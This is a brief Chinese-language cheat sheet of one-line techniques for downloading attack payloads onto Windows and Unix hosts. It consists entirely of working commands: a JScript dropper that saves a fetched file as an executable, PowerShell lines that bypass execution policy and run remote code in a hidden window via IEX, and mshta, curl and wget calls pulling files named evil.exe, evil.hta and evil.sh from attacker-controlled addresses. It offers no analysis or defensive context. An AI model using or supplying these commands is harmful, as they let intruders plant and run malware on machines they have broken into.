一句话下载payload总结

var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream"); BinStream.Type = 1;
BinStream.Open(); BinStream.Write(WinHttpReq.ResponseBody);BinStream.SaveToFile("micropoor.exe");

C:test>cscript /nologo dowfile2.js http://192.168.1.1/eval.exe

powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://192.168.1.115/robots.txt','E:robots.txt')

powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.174.1:1234/evil.txt'))"

mshta http://192.168.174.1:1234/evil.hta

curl http://192.168.174.1:1234/evil.exe -o evil.exe

wget http://192.168.174.1:1234/evil.sh